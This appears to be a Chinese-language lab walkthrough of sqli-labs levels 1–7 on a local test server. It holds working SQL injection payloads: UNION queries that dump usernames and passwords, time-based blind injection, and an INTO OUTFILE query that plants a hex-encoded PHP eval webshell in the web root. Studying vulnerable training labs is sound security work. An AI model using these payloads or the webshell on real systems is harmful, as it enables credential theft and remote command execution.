Less-1

Payload:

数字型注入没有变化

--起着注释的作用,将后面的语句注释掉,+ 则代表空格

http://127.0.0.1/sqli-labs-master/Less-1/?id= 1' and 1= 1--+ 正常
http://127.0.0.1/sqli-labs-master/Less-1/?id= 1' and 1= 2--+ 报错

故id参数存在字符型注入点

判断字段数

http://127.0.0.1/sqli-labs-master/Less-1/
?id= 1' order by 3 --+  
http://127.0.0.1/sqli-labs-master/Less-1/
?id= 1' order by 4 --+

Unknown column '4' in 'order clause'

故得知一共有3个字段

联合注入查询

http://127.0.0.1/sqli-labs-master/Less-1/
?id= -1' union select 1,2,3--+

得知数据库名字为security ->查表

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/
?id= -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

emails,referers,uagents,users

查表字段

http://127.0.0.1/sqli-labs-master/Less-1/
?id= -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
http://127.0.0.1/sqli-labs-master/Less-1/
?id= -1' union select 1,2,group_concat(username,0x2b,password) from users --+

0x2b是+的十六进制->便于区分账户和密码

less2 是类似数字型

Less-3

Payload:

http://127.0.0.1/sqli-labs-master/Less-1/?id= 1 and 1= 1--+ 正常
http://127.0.0.1/sqli-labs-master/Less-1/?id= 1 and 1= 2--+ 正常

查看拼接后的sql语句如下:

SELECT * FROM users WHERE id=('1 and 1=2') LIMIT 0,1

原来是需要括号闭合

http://localhost/sqli-labs-master/Less-3/?id=1') and 1=1 --+ 正常 
http://localhost/sqli-labs-master/Less-3/?id=1') and 1=2 --+ 报错

Less-4

源码:

$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

这次是双引号括号闭合

http://localhost/sqli-labs-master/Less-4/?id=1") and 1=1 --+ 正常
http://localhost/sqli-labs-master/Less-4/?id=1") and 1=2 --+ 报错

Less-5

因为无回显 所以不能使用联合注入

这里使用时间盲注:

用到延时函数sleep() if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y

首先判断是否需要闭合

http://localhost/sqli-labs-master/Less-5/?id=1 and if(1=2,1,sleep(5)) --+  没延时
http://localhost/sqli-labs-master/Less-5/?id=1' and if(1=2,1,sleep(5)) --+ 延时

判断数据库

http://localhost/sqli-labs-master/Less-5/
?id=1' and if(length((select database()))>7,sleep(5),1) --+ 产生延时
http://localhost/sqli-labs-master/Less-5/
?id=1' and if(length((select database()))>8,sleep(5),1) --+ 不产生延时
之后可利用burp等工具爆破:
?id=1' and if(substr(database(),1,1)='s',sleep(5),0) --+

less-6 是类似 闭合双引号

Less-7

不能使用报错注入,只能使用布尔盲注和时间盲注

闭合方式(('$id'))

http://localhost/sqli-labs-master/Less-7/?id=1')) and if(1=2,1,sleep(5)) --+ 

利用into outfile导出数据到文件

使用 outfile 导出到文件,默认 outfile 是没有开启的,需要手动开启

mysql>show global variables like '%secure%';

+--------------------------+-------+
| Variable_name           | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth             | ON   |
| secure_file_priv         | NULL |
+--------------------------+-------+
  • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出; 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下; 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

同时secure_file_priv是也用来限制load 、dumpfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。

打开my.cnf 或 my.ini,写入 secure_file_priv = ’ ’ 后重启mysql。

http://localhost/sqli-labs-master/Less-7/?id=1')) union select * from security.users INTO OUTFILE "C:/Users/Administrator/Desktop/users.txt"--+

即可导出到桌面

拓展:写入webshell

知道闭合后需要判断列数,可知为3列

http://localhost/sqli-labs-master/Less-7/
?id=1')) union select 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d29203f3e,3 INTO OUTFILE "C:/phpstudy_pro/WWW/shell.php"--+

建议进行十六进制转码

 

 

TO BE CONTINUE......